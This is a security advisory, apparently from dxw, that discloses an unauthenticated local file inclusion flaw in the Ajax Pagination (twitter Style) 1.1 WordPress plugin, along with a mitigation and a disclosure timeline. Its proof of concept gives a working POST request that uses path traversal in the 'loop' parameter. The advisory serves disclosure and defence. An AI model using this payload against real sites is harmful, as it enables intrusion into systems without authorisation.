61 lines
No EOL
1.9 KiB
Text
61 lines
No EOL
1.9 KiB
Text
Details
|
|
================
|
|
Software: Ajax Pagination (twitter Style)
|
|
Version: 1.1
|
|
Homepage: http://wordpress.org/plugins/ajax-pagination/
|
|
CVSS: 9.3 (High; AV:N/AC:M/Au:N/C:C/I:C/A:C)
|
|
|
|
Description
|
|
================
|
|
End-user exploitable local file inclusion vulnerability in Ajax
|
|
Pagination (twitter Style) 1.1
|
|
|
|
Vulnerability
|
|
================
|
|
This plugin contains a file inclusion vulnerability that is exploitable
|
|
by an unauthenticated user. The user can include any local file ending
|
|
in “.php” which is accessible to the web user.
|
|
|
|
Proof of concept
|
|
================
|
|
A non-logged in user can call the ajax function
|
|
wp_ajax_nopriv_ajax_navigation that calls ajax_navigation_callback in
|
|
ajax-pagination-front.php at line 75.
|
|
By setting the value of “loop” in the POST data, they can include the
|
|
contents of that path on the returned page.
|
|
For example, to include the contents of wp-login.php in the returned
|
|
page, send the following:
|
|
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
Content-Length: 53
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
paged=2&action=ajax_navigation&loop=../../../wp-login
|
|
|
|
|
|
Mitigations
|
|
================
|
|
Disable the plugin until a fix is available.
|
|
|
|
Disclosure policy
|
|
================
|
|
dxw believes in responsible disclosure. Your attention is drawn to our
|
|
disclosure policy: https://security.dxw.com/disclosure/
|
|
|
|
Please contact us on security@dxw.com to acknowledge this report if you
|
|
received it via a third party (for example, plugins@wordpress.org) as
|
|
they generally cannot communicate with us on your behalf.
|
|
|
|
Please note that this vulnerability will be published if we do not
|
|
receive a response to this report with 14 days.
|
|
|
|
Timeline
|
|
================
|
|
|
|
2014-02-18: Reported to nuwan28@gmail.com and plugins@wordpress.org
|
|
2014-03-28: No response received to reports. Vulnerability published.
|
|
|
|
|
|
Discovered by dxw:
|
|
================
|
|
Glyn Wintle
|
|
Please visit security.dxw.com for more information. |